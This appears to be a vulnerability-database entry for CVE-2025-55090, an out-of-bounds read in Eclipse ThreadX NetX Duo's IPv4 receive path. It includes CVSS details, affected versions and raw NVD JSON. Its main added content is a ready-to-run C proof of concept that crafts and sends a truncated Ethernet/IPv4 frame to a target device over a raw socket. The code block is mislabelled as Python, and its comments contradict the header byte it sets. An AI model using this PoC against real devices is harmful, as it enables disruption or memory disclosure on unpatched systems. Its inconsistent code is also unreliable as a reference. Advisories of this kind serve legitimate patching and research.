Security Vulnerability Report
中文
CVE-2025-55090 CVSS 6.5 MEDIUM

CVE-2025-55090

Published: 2025-10-16 07:15:34
Last Modified: 2025-10-21 17:08:50

Description

In NetX Duo before 6.4.4, the networking support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _nx_ipv4_packet_receive() function when received an Ethernet frame with less than 4 bytes of IP packet.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:* - VULNERABLE
Eclipse Foundation ThreadX NetX Duo < 6.4.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-55090 - NetX Duo Out-of-Bounds Read PoC * Vulnerability: OOB read in _nx_ipv4_packet_receive() when IP packet < 4 bytes * Target: Eclipse ThreadX NetX Duo < 6.4.4 * * This PoC constructs a malformed Ethernet frame containing an IPv4 packet * with less than 4 bytes of payload to trigger the OOB read vulnerability. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <linux/if_ether.h> #include <netinet/in.h> #include <arpa/inet.h> #define TARGET_MAC "\x00\x11\x22\x33\x44\x55" // Target device MAC #define SRC_MAC "\xaa\xbb\xcc\xdd\xee\xff" // Attacker MAC #define ETH_TYPE_IP 0x0800 int main(int argc, char *argv[]) { if (argc < 2) { fprintf(stderr, "Usage: %s <interface>\n", argv[0]); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_TYPE_IP)); if (sockfd < 0) { perror("socket"); return 1; } struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = AF_PACKET; sa.sll_protocol = htons(ETH_TYPE_IP); sa.sll_ifindex = if_nametoindex(argv[1]); if (sa.sll_ifindex == 0) { perror("if_nametoindex"); close(sockfd); return 1; } /* Build malformed Ethernet frame with IP packet < 4 bytes */ unsigned char packet[64]; memset(packet, 0, sizeof(packet)); /* Ethernet header (14 bytes) */ memcpy(packet, TARGET_MAC, 6); // Destination MAC memcpy(packet + 6, SRC_MAC, 6); // Source MAC packet[12] = ETH_TYPE_IP >> 8; // EtherType: IPv4 packet[13] = ETH_TYPE_IP & 0xff; /* Malformed IPv4 header - only 2 bytes (< 4 bytes minimum) */ /* Version 4, IHL 0 (malformed), causing OOB read */ packet[14] = 0x45; // Version=4, IHL=5 (claims 20 bytes but truncated) packet[15] = 0x00; // TOS /* Intentionally truncate here - only 2 bytes of IP header */ int pkt_len = 16; // 14 (Ethernet) + 2 (truncated IP) if (sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) { perror("sendto"); close(sockfd); return 1; } printf("[+] Malformed packet sent to %s\n", argv[1]); printf("[+] CVE-2025-55090 PoC - Truncated IP packet (< 4 bytes)\n"); close(sockfd); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55090", "sourceIdentifier": "[email protected]", "published": "2025-10-16T07:15:33.520", "lastModified": "2025-10-21T17:08:50.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In NetX Duo before 6.4.4, the networking support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _nx_ipv4_packet_receive() function when received an Ethernet frame with less than 4 bytes of IP packet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-126"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.4.202503", "matchCriteriaId": "24743F34-C00F-4CB2-BCEE-2BB29FA265CB"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-cf2g-j6vv-m8c5", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}